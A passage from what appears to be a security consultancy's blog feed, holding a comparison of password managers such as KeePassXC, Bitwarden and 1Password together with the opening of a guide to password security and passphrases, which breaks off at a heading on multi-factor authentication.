&lt;p&gt;Passkeys remain the most resilient defence against phishing, and the underlying cryptography is uncompromised. What has shifted is the endpoint’s role: losing control of the client means losing phishing-resistant authentication. In the risk analysis of an &lt;a href=&quot;https://a7.de/en/services/security-consulting/isms-iso-27001/&quot;&gt;information security management system&lt;/a&gt;, endpoint compromise should be treated as a separate scenario, independent of which passkey type is deployed. &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Security awareness training&lt;/a&gt; ensures employees support the transition.&lt;/p&gt;</content:encoded><category>Network &amp; Endpoint Security</category><author>kontakt@a7.de (Jan Hörnemann)</author></item><item><title>Password Manager Comparison 2026: KeePass, Bitwarden, 1Password &amp; More</title><link>https://a7.de/en/blog/password-manager-comparison-2026-keepass-bitwarden-1password-more/</link><guid isPermaLink="true">https://a7.de/en/blog/password-manager-comparison-2026-keepass-bitwarden-1password-more/</guid><description>Password manager comparison 2026 for KeePassXC, Bitwarden, 1Password and Steganos, with mobile tools and practical guidance for secure business use.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Anyone who wants to use a unique, strong password for every online account - as all security experts recommend - needs some help. The average user manages over 90 online accounts. No one can remember 90 different, cryptic passwords. The solution is a password manager.&lt;/p&gt;
&lt;p&gt;This comparison explains why a password manager is necessary, what criteria are crucial when choosing one, and how the most popular options stack up - from KeePassXC to Bitwarden and 1Password, all the way to mobile solutions and hardware alternatives.&lt;/p&gt;
&lt;p&gt;For background on secure passwords and passphrases, we recommend our &lt;a href=&quot;https://a7.de/en/blog/password-security-2026-the-complete-guide-to-secure-passwords/&quot;&gt;Password Security Guide&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;why-a-password-manager-is-indispensable&quot;&gt;Why a password manager is indispensable&lt;/h2&gt;
&lt;h3 id=&quot;the-real-problem-password-overload&quot;&gt;The real problem: password overload&lt;/h3&gt;
&lt;p&gt;Many users respond to this overload with insecure shortcuts: Passwords are reused, chosen to be too weak, or jotted down on a piece of paper. The result is well-known - 68 percent of all data breaches result from stolen or weak login credentials (Verizon Data Breach Investigations Report 2024).&lt;/p&gt;
&lt;p&gt;A password manager completely solves this problem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It automatically &lt;strong&gt;generates&lt;/strong&gt; strong, unique passwords for every service&lt;/li&gt;
&lt;li&gt;It &lt;strong&gt;stores&lt;/strong&gt; passwords in an encrypted vault&lt;/li&gt;
&lt;li&gt;It &lt;strong&gt;fills in&lt;/strong&gt; passwords automatically - no manual typing required&lt;/li&gt;
&lt;li&gt;It &lt;strong&gt;alerts&lt;/strong&gt; you to known data breaches if a stored password has been compromised&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You only need to remember a single strong master password. All others are securely managed.&lt;/p&gt;
&lt;h3 id=&quot;browser-password-features-are-no-substitute&quot;&gt;Browser password features are no substitute&lt;/h3&gt;
&lt;p&gt;Browsers like Firefox and Chrome offer built-in password features. These are convenient, but they are not a full-fledged replacement for a dedicated password manager. Browsers are primarily designed for browsing - not for securely managing sensitive login credentials.&lt;/p&gt;
&lt;p&gt;CVE-2019-11733 provides a concrete example of the risks: A known security vulnerability in the Firefox browser directly affected password management. Even Apple has purchased 123,000 licenses of the third-party tool 1Password for its own workforce, rather than relying exclusively on the iCloud Keychain. The iCloud Keychain is better than nothing - but a full-fledged password manager is better.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;selection-criteria-what-matters-in-a-password-manager&quot;&gt;Selection Criteria: What Matters in a Password Manager&lt;/h2&gt;
&lt;h3 id=&quot;encryption&quot;&gt;Encryption&lt;/h3&gt;
&lt;p&gt;A reputable password manager encrypts the password database with strong end-to-end encryption. Even if someone were to gain access to the database, the stored passwords would be unreadable without the master password. Only the user knows the master password.&lt;/p&gt;
&lt;h3 id=&quot;open-source-vs-proprietary&quot;&gt;Open Source vs. Proprietary&lt;/h3&gt;
&lt;p&gt;Open-source password managers like KeePass and Bitwarden allow the source code to be publicly reviewed. This builds trust - independent security researchers can find and report vulnerabilities. Proprietary products like 1Password do not offer this transparency advantage, but often impress with their user-friendliness and support.&lt;/p&gt;
&lt;h3 id=&quot;offline-vs-cloud-synchronization&quot;&gt;Offline vs. Cloud Synchronization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Offline managers&lt;/strong&gt; (KeePassXC): The database is stored locally on the device. Maximum data control, no cloud risk - but manual synchronization between devices is required.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud managers&lt;/strong&gt; (Bitwarden, 1Password): Automatic synchronization across all devices. More convenient, but the data is stored (encrypted) in the provider’s cloud.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;two-factor-authentication-2fa&quot;&gt;Two-factor authentication (2FA)&lt;/h3&gt;
&lt;p&gt;Many password managers offer 2FA for accessing the manager itself. This makes sense: even if the master password is stolen, access is impossible without the second factor.&lt;/p&gt;
&lt;h3 id=&quot;platform-support&quot;&gt;Platform Support&lt;/h3&gt;
&lt;p&gt;Cross-platform support is crucial for users of multiple devices and operating systems. KeePassXC supports Mac, Linux, and Windows. Mobile clients for iOS and Android are available separately.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;password-managers-compared&quot;&gt;Password Managers Compared&lt;/h2&gt;
&lt;div class=&quot;table-scroll&quot;&gt;














































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Manager&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;th&gt;Platforms&lt;/th&gt;&lt;th&gt;Features&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;KeePassXC&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Open source, local&lt;/td&gt;&lt;td&gt;Free&lt;/td&gt;&lt;td&gt;Windows, macOS, Linux&lt;/td&gt;&lt;td&gt;Full data control, no cloud&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Bitwarden&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Open source, cloud&lt;/td&gt;&lt;td&gt;Free / Premium starting at ~10 EUR/year&lt;/td&gt;&lt;td&gt;All + browser&lt;/td&gt;&lt;td&gt;Self-hosting possible, GDPR-compliant&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1Password&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Proprietary, cloud&lt;/td&gt;&lt;td&gt;Starting at ~3 EUR/month&lt;/td&gt;&lt;td&gt;All + browser&lt;/td&gt;&lt;td&gt;Stiftung Warentest test winner, user-friendly&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Steganos PM&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Proprietary&lt;/td&gt;&lt;td&gt;Regular ~9.95 EUR (Version 17)&lt;/td&gt;&lt;td&gt;Windows + iOS/Android&lt;/td&gt;&lt;td&gt;German software, AES-256-bit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;KeePass (Original)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Open source, local&lt;/td&gt;&lt;td&gt;Free&lt;/td&gt;&lt;td&gt;Primarily Windows&lt;/td&gt;&lt;td&gt;Basis for many derivatives&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;keepassxc-the-free-open-source-manager-for-all-platforms&quot;&gt;KeePassXC: The free open-source manager for all platforms&lt;/h2&gt;
&lt;p&gt;KeePassXC was created as a cross-platform alternative to KeePass, which was primarily developed for Windows. For Mac users, a free, easy-to-use solution was long lacking - KeePassXC solves this problem with native support for macOS, Linux, and Windows.&lt;/p&gt;
&lt;p&gt;The software is open source, meaning it’s free and transparent. Anyone who works across multiple systems and carries their password vault with them on a USB drive, for example, will appreciate its cross-platform capability: Only the software is required, not a specific operating system.&lt;/p&gt;
&lt;h3 id=&quot;switching-keepass-to-german&quot;&gt;Switching KeePass to German&lt;/h3&gt;
&lt;p&gt;KeePass and KeePassXC are in English by default. However, KeePass can easily be switched to German: Download the appropriate language file (Version 2 for current KeePass 2 installations) from keepass.info, unzip it, and place it in the folder &lt;code&gt;Program Files (x86) &amp;amp;gt; KeePass Password Safe 2 &amp;amp;gt; Languages&lt;/code&gt;. Then select German under &quot;View &amp;gt; Change Language&quot; and restart KeePass. The entire process requires no administrator privileges and takes less than two minutes.&lt;/p&gt;
&lt;h3 id=&quot;stiftung-warentest-keepass-named-top-performer-among-free-password-managers&quot;&gt;Stiftung Warentest: KeePass Named Top Performer Among Free Password Managers&lt;/h3&gt;
&lt;p&gt;Stiftung Warentest evaluated password managers in early 2020: Of the 14 products tested, only three were impressive. KeePass was named the top performer among free products. In later tests, Stiftung Warentest also named 1Password and Bitwarden as top performers.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;mobile-solutions-password-managers-on-ios-and-android&quot;&gt;Mobile Solutions: Password Managers on iOS and Android&lt;/h2&gt;
&lt;h3 id=&quot;keepass-touch-for-ios&quot;&gt;KeePass Touch for iOS&lt;/h3&gt;
&lt;p&gt;After MiniKeePass was discontinued in mid-2020, this app left a gap on iOS. KeePass Touch fills that gap and allows users to fully view and edit KeePass databases on Apple devices.&lt;/p&gt;
&lt;p&gt;Synchronization works via Dropbox, FTP servers, or local Wi-Fi - with no requirement to use the cloud. For €1.09, an in-app purchase removes ads and enables the autofill feature. Important: KeePass Touch is not open source, which distinguishes it from the certified clients listed on keepass.info.&lt;/p&gt;
&lt;h3 id=&quot;browser-integration&quot;&gt;Browser Integration&lt;/h3&gt;
&lt;p&gt;If you want to use KeePass with browser autofill, you’ll need browser add-ons. Official browser extensions for Chrome, Firefox, and other browsers are available for Bitwarden and 1Password - integration is seamless.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;hardware-alternative-the-nfc-password-card&quot;&gt;Hardware Alternative: The NFC Password Card&lt;/h2&gt;
&lt;p&gt;An unusual alternative to traditional password managers is the NFC password card. This is a physical card - similar to a credit card - on which passwords are stored. Access is via an app (available for free on iOS and Android); after entering the master password, the passwords on the card can be read.&lt;/p&gt;
&lt;p&gt;The NFC password card can broadly be classified as an offline solution: Passwords are not stored in the cloud, but only on the physical card. The biggest difference from traditional software password managers: The card is a physical object.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No cloud dependency&lt;/li&gt;
&lt;li&gt;No device required other than a smartphone for reading&lt;/li&gt;
&lt;li&gt;Physically visible - loss is noticed immediately&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Physical object can be lost or damaged&lt;/li&gt;
&lt;li&gt;No automatic synchronization&lt;/li&gt;
&lt;li&gt;Manual maintenance required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The NFC password card is an interesting addition for specific use cases - for most users, a software password manager offers more convenience with comparable security.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;setting-up-a-password-manager-step-by-step&quot;&gt;Setting up a password manager: Step by step&lt;/h2&gt;
&lt;p&gt;The most common reason for not using a password manager isn’t mistrust - it’s inertia. Setting it up seems like a hassle. In reality, the initial setup takes less than 15 minutes for most products.&lt;/p&gt;
&lt;h3 id=&quot;step-1-choose-and-install-a-password-manager&quot;&gt;Step 1: Choose and install a password manager&lt;/h3&gt;
&lt;p&gt;Decide on a manager - for starters, we recommend Bitwarden (free, open source) or KeePassXC (free, local). Install the desktop app and the browser extension.&lt;/p&gt;
&lt;h3 id=&quot;step-2-set-a-master-password&quot;&gt;Step 2: Set a master password&lt;/h3&gt;
&lt;p&gt;The master password is the only one you still need to remember. Use the passphrase method here: four random, unrelated words, supplemented with special characters and numbers. Write this password down once on paper and keep it in a safe place - in a locked cabinet, not on your screen.&lt;/p&gt;
&lt;h3 id=&quot;step-3-import-existing-passwords&quot;&gt;Step 3: Import existing passwords&lt;/h3&gt;
&lt;p&gt;Most password managers allow you to import passwords from browsers (Chrome, Firefox) or from other managers as a CSV file. This saves a significant amount of time compared to entering them manually.&lt;/p&gt;
&lt;h3 id=&quot;step-4-identify-weak-and-reused-passwords&quot;&gt;Step 4: Identify weak and reused passwords&lt;/h3&gt;
&lt;p&gt;Bitwarden, 1Password, and most cloud managers offer a security report: It shows at a glance which stored passwords are weak, which are reused, and which have been found in known data breaches. Start with the most critical accounts - email, banking, and corporate logins.&lt;/p&gt;
&lt;h3 id=&quot;step-5-generate-new-strong-passwords&quot;&gt;Step 5: Generate new strong passwords&lt;/h3&gt;
&lt;p&gt;The next time you log in to a website, open the password manager, generate a new strong password, and save it directly in the manager. By default, the password generator creates passwords with 20 or more characters consisting of letters, numbers, and special characters - which you’ll never have to memorize.&lt;/p&gt;
&lt;h3 id=&quot;step-6-set-up-the-mobile-app&quot;&gt;Step 6: Set up the mobile app&lt;/h3&gt;
&lt;p&gt;Install the mobile app on your smartphone. With cloud-based managers, the database syncs automatically. With KeePassXC, set up synchronization using your preferred method (Nextcloud, Dropbox, FTP). From now on, you’ll have access to all your passwords on all your devices.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;common-concerns-about-password-managers---and-the-facts&quot;&gt;Common Concerns About Password Managers - and the Facts&lt;/h2&gt;
&lt;h3 id=&quot;what-if-the-provider-gets-hacked&quot;&gt;&quot;What if the provider gets hacked?&quot;&lt;/h3&gt;
&lt;p&gt;This is the most common concern. The answer lies in the encryption architecture: A reputable password manager encrypts your data locally with your master password before it leaves your computer. The provider does not know your master password - so even if the server is compromised, they cannot decrypt your passwords.&lt;/p&gt;
&lt;p&gt;This architecture is called zero-knowledge: The service provider has “zero knowledge” of your actual passwords. If the provider’s server is hacked, an attacker will only see encrypted data packets that are useless to them.&lt;/p&gt;
&lt;p&gt;For absolute security: KeePassXC stores the database exclusively locally. The provider is then your own computer - a server breach at the software developer’s site will not affect any password data.&lt;/p&gt;
&lt;h3 id=&quot;i-might-forget-my-master-password&quot;&gt;“I might forget my master password”&lt;/h3&gt;
&lt;p&gt;That is a valid concern. The solution: Carefully write down your master password once on paper and store it securely - just like an important document. Cloud-based managers also offer recovery options that should be configured before initial setup.&lt;/p&gt;
&lt;p&gt;A four-word passphrase is much easier to remember than a 12-character cryptic string. This is the key advantage over using a randomly generated password as the master password.&lt;/p&gt;
&lt;h3 id=&quot;password-managers-are-too-complicated&quot;&gt;&quot;Password managers are too complicated&quot;&lt;/h3&gt;
&lt;p&gt;Setup takes less than 15 minutes. Day-to-day use is easier than manually typing in passwords: the manager automatically fills in passwords as soon as you visit a familiar website. With biometric unlocking (fingerprint, Face ID) on your smartphone, access is even faster than typing in any password.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;password-manager-security-what-can-really-go-wrong&quot;&gt;Password Manager Security: What Can Really Go Wrong&lt;/h2&gt;
&lt;p&gt;An important issue is the security of the password manager itself. Modern password managers are fundamentally secure - but implementation errors can cause problems.&lt;/p&gt;
&lt;p&gt;A concrete example: Kaspersky’s password manager generated weak passwords on Windows, Android, and iOS because the software used the current system time in seconds as a random seed. All users who created a password at the same time received identical suggestions. The entire possible password space from 2010 to 2021 comprises only about 315 million combinations - which modern computers can brute-force in minutes. Kaspersky fixed the vulnerability in late 2019 but did not prompt affected users to change their passwords until October 2020.&lt;/p&gt;
&lt;p&gt;The lesson here: Even when it comes to password managers, you should choose reputable products that are regularly audited by independent third parties. Open-source products like KeePassXC and Bitwarden benefit from public code reviews. For proprietary products, you should look for security audits conducted by independent third parties.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;recommendations-for-businesses&quot;&gt;Recommendations for Businesses&lt;/h2&gt;
&lt;p&gt;Businesses face the challenge of providing password managers for all employees and managing them centrally. Without a password manager, good password hygiene is nearly impossible for individuals - let alone in a corporate context.&lt;/p&gt;
&lt;h3 id=&quot;enterprise-options-at-a-glance&quot;&gt;Enterprise Options at a Glance&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Solution&lt;/th&gt;&lt;th&gt;Advantages&lt;/th&gt;&lt;th&gt;Cost&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1Password Teams&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Simple, macOS/Windows/Mobile, Admin Console&lt;/td&gt;&lt;td&gt;approx. 4 EUR/user/month&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Bitwarden Teams&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Open source, GDPR-compliant, more affordable&lt;/td&gt;&lt;td&gt;approx. 2 EUR/user/month&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Keeper&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Enterprise features, SSO integration&lt;/td&gt;&lt;td&gt;approx. 3 EUR/user/month&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;LastPass Teams&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Widely used - note the 2022 breach&lt;/td&gt;&lt;td&gt;approx. 4 EUR/user/month&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;For SMEs on a tight budget: Bitwarden Community Edition (self-hosted) is free and can be used in compliance with the GDPR.&lt;/p&gt;
&lt;p&gt;In addition to a password manager, clear password policies are recommended - details on modern corporate policies according to NIST and BSI can be found in the article &lt;a href=&quot;https://a7.de/en/blog/password-security-2026-the-complete-guide-to-secure-passwords/&quot;&gt;Secure Password Policies for Businesses&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://a7.de/en/blog/password-security-2026-the-complete-guide-to-secure-passwords/&quot;&gt;Password Security Guide&lt;/a&gt; provides further background on secure passwords, passphrases, and how to handle data breaches.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;our-recommendation&quot;&gt;Our Recommendation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;For personal users who want maximum control:&lt;/strong&gt;
KeePassXC - free, open source, local, cross-platform. Synchronization via your own cloud services (Nextcloud, Dropbox) is possible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For private users who prioritize convenience:&lt;/strong&gt;
Bitwarden (open source, free basic version) or 1Password (best convenience, Stiftung Warentest test winner).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For iOS users who want to use the KeePass database on the go:&lt;/strong&gt;
KeePass Touch - not open source, but fully functional.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For businesses:&lt;/strong&gt;
Bitwarden Teams (approx. 2 EUR/user/month, GDPR-compliant, self-hosting possible) or 1Password Teams (approx. 4 EUR/user/month, highest level of convenience).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not recommended as a standalone password solution:&lt;/strong&gt;
Browser-integrated password features - convenient, but not a full-fledged replacement for a dedicated password manager.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;faq-password-managers&quot;&gt;FAQ: Password Managers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Is it safe to store all passwords in one place?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Yes - provided the password manager itself is strongly secured. Modern password managers use strong end-to-end encryption. Even if the provider’s servers are compromised, the passwords remain unreadable without the user’s master password. The alternative scenario - having many weak, reused passwords in your head - is significantly riskier.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happens if I forget my master password?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With locally stored databases (KeePassXC), there is no way to recover your data without the master password. For cloud-based managers, some providers offer recovery options - check this before setting up. A strong but memorable master password created using the passphrase method is the best safeguard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which password manager was tested by Stiftung Warentest?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Stiftung Warentest has tested password managers on multiple occasions. In one test, 1Password and Bitwarden were named the winners. In an earlier test of free products, KeePass received the highest rating.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is KeePass the same as KeePassXC?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No. KeePass is the original program, developed primarily for Windows. KeePassXC is a standalone fork that runs natively on Windows, macOS, and Linux - without workarounds or the Mono framework. Both use the same database format (kdbx) and are compatible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Can I use KeePassXC on multiple devices?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Yes - by sharing the database file via your own synchronization service (Nextcloud, Dropbox, FTP server). This is a bit more involved than with cloud-based password managers, but it gives you complete control over your data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about blackmail or attacks on password manager providers?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With well-implemented password managers, stored passwords remain secure even after a server attack because they are end-to-end encrypted. The provider does not know your master password. Local managers like KeePassXC don’t have this risk at all - the database is stored only on your device.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The first step is the hardest: Set up a password manager today. Everything that follows - unique passwords for every service, auto-fill, alerts for data breaches - will fall into place naturally.&lt;/p&gt;
&lt;p&gt;For the full context on password security, passphrases, and passkeys, read our &lt;a href=&quot;https://a7.de/en/blog/password-security-2026-the-complete-guide-to-secure-passwords/&quot;&gt;Password Security Guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Do you want to implement a password manager in your company while building security awareness among your employees? &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Contact us.&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Security Awareness</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Password Security 2026: The Complete Guide to Secure Passwords</title><link>https://a7.de/en/blog/password-security-2026-the-complete-guide-to-secure-passwords/</link><guid isPermaLink="true">https://a7.de/en/blog/password-security-2026-the-complete-guide-to-secure-passwords/</guid><description>Why most passwords are insecure, what secure passwords and passphrases look like, what you need to do after a data breach - and why passkeys are the future.</description><pubDate>Sun, 01 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Passwords are the weakest link in the security chain - and yet they remain the most widely used authentication method. The 2024 Verizon Data Breach Investigations Report is clear: 68 percent of all data breaches result from stolen or weak credentials, and 86 percent of all web-based attacks are credential-based.&lt;/p&gt;
&lt;p&gt;This guide explains why passwords fail so often, how to create and manage secure passwords today - and why passkeys are already here as the next step.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;why-most-passwords-are-insecure&quot;&gt;Why Most Passwords Are Insecure&lt;/h2&gt;
&lt;h3 id=&quot;the-reuse-problem&quot;&gt;The Reuse Problem&lt;/h3&gt;
&lt;p&gt;51 percent of people use the same password for multiple services. The Hasso Plattner Institute analyzed one billion user accounts from 31 published data breaches: 20 percent used the exact same password across multiple platforms, and 27 percent used slight variations of the same passphrase.&lt;/p&gt;
&lt;p&gt;The result is devastating: as soon as a single service is hacked, the password is on the list. Attackers then carry out automated &lt;strong&gt;credential reuse attacks&lt;/strong&gt; - a tool tests dozens of websites within seconds using the found email-password combination. If the attackers gain access to the email account, recovering the remaining accounts is no longer possible in most cases.&lt;/p&gt;
&lt;h3 id=&quot;the-predictability-problem&quot;&gt;The Predictability Problem&lt;/h3&gt;
&lt;p&gt;The password &quot;123456&quot; was found 2,543,285 times in data breaches in 2020 alone - totaling 23,597,311 times across all years. The world’s most popular password will still rank among the top 5 in 2024.&lt;/p&gt;
&lt;p&gt;Soccer club names are used as passwords surprisingly often. “schalke” and similar club names regularly appear on lists of the most commonly used passwords. Attackers are aware of these patterns and systematically test them.&lt;/p&gt;
&lt;p&gt;The same applies to patterns created by forced password changes: When users are required to change their passwords regularly, predictable variations emerge. A study by the University of North Carolina analyzed 7,700 accounts and found that users who were regularly forced to change their passwords developed patterns such as &lt;code&gt;tarheels#1&lt;/code&gt; → &lt;code&gt;tarheels#2&lt;/code&gt;. 17 percent of online accounts were cracked in fewer than five attempts. The situation is even worse for offline accounts: 41 percent were compromised in less than three seconds.&lt;/p&gt;
&lt;p&gt;The German Federal Office for Information Security (BSI) has acted on this finding and now recommends &lt;strong&gt;no longer&lt;/strong&gt; changing passwords routinely - only when there is concrete evidence of a breach.&lt;/p&gt;
&lt;h3 id=&quot;the-brute-force-problem&quot;&gt;The Brute-Force Problem&lt;/h3&gt;
&lt;p&gt;Modern hardware cracks short passwords alarmingly quickly. A standard laptop without a dedicated graphics card can process about 875 million hashes per second using the MD5 hash algorithm. A 6-character password can thus be cracked in seconds. A setup consisting of ten Nvidia GTX 1080 Ti cards, costing around 10,000 euros, achieves approximately 355 billion hashes per second for MD5.&lt;/p&gt;
&lt;p&gt;The recommendation based on these figures: Passwords under 10 characters no longer offer sufficient protection with current hardware. The minimum recommendation is 12 characters - preferably 15 or more.&lt;/p&gt;
&lt;p&gt;Important to note: MD5 is considered outdated and insecure. Modern systems use stronger hashing algorithms (bcrypt, Argon2, scrypt), which take significantly longer to compute and considerably slow down brute-force attacks. However, the length of the password remains the decisive factor.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;what-secure-passwords-look-like&quot;&gt;What Secure Passwords Look Like&lt;/h2&gt;
&lt;h3 id=&quot;the-basic-rules&quot;&gt;The Basic Rules&lt;/h3&gt;
&lt;p&gt;A secure password meets four criteria:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Minimum length:&lt;/strong&gt; 12 characters, recommended 15 or more&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uniqueness:&lt;/strong&gt; Do not use the same password for more than one service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No personal references:&lt;/strong&gt; No names, no birthdays, no club names&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not included in data breaches:&lt;/strong&gt; Check via haveibeenpwned.com&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What is less crucial than often assumed: the forced inclusion of special characters, uppercase letters, and numbers in short passwords. An 8-character password with special characters is weaker than a 16-character password without them. Length trumps artificial complexity.&lt;/p&gt;
&lt;h3 id=&quot;the-apparent-problem-with-secure-passwords-memorability&quot;&gt;The apparent problem with secure passwords: memorability&lt;/h3&gt;
&lt;p&gt;Cryptic random passwords like &lt;code&gt;X7$k2mQp9!&lt;/code&gt; are secure - but hard to remember. Tools like the Kryptonizer from passwort-ausdenken.de can help: A simple mnemonic like &quot;Bolognese&quot; is turned into a cryptic password like &lt;code&gt;5oW#7m%mm3D3&lt;/code&gt; using a personal encryption card. The card is printed in duplicate - one for your wallet, one as a backup. This principle combines possession and knowledge.&lt;/p&gt;
&lt;p&gt;Even more elegant is the passphrase method - more on that in a moment.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;passphrases-the-more-secure-and-easier-to-remember-password&quot;&gt;Passphrases: The More Secure and Easier-to-Remember Password&lt;/h2&gt;
&lt;p&gt;A passphrase consists of several words instead of a cryptic jumble of characters. The key advantage: Passphrases made up of four random, thematically unrelated words would take attackers centuries to guess - and are also easier to remember than short random passwords.&lt;/p&gt;
&lt;h3 id=&quot;how-to-create-a-secure-passphrase&quot;&gt;How to Create a Secure Passphrase&lt;/h3&gt;
&lt;p&gt;Choose words from completely different areas of life:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your favorite dish, a vacation spot, or a hobby - for example: &quot;Air Skydiving&quot;&lt;/li&gt;
&lt;li&gt;A current news story or event - for example: &quot;Pandemic&quot;&lt;/li&gt;
&lt;li&gt;A word selected at random from a digital dictionary - for example: &quot;reticulum&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This results in: &lt;strong&gt;&quot;Air Skydiving Pandemic Reticulum&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Spaces are also characters in passwords. You can replace them with special characters to meet typical password requirements:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Air-Skydiving_Pandemic_Reticulum&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With numbers that meet digit requirements:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;1Air-Skydiving_2Pandemic_3Reticulum&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The result is a very strong password. If you visualize it - someone doing air skydiving while thinking about the pandemic and an astronomical object called the Reticulum - it’s much easier to remember than a random jumble of characters.&lt;/p&gt;
&lt;h3 id=&quot;what-passphrases-dont-protect&quot;&gt;What passphrases don’t protect&lt;/h3&gt;
&lt;p&gt;IT security experts advise against using song lyrics or well-known literary works like the Bible as inspiration. Attackers specifically target these sources. The selected words must come from thematically unrelated areas.&lt;/p&gt;
&lt;p&gt;And most importantly: Even the strongest passphrase is only valid for &lt;strong&gt;a single service&lt;/strong&gt;. Reusing it makes even the best phrase vulnerable.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;password-less-login-passkeys-mfa-and-the-post-password-era&quot;&gt;Password-less login: Passkeys, MFA, and the post-password era&lt;/h2&gt;
&lt;h3 id=&quot;multi-factor-authentication-as-an-intermediate-step&quot;&gt;Multi-factor authentication as an intermediate step&lt;/h3&gt;
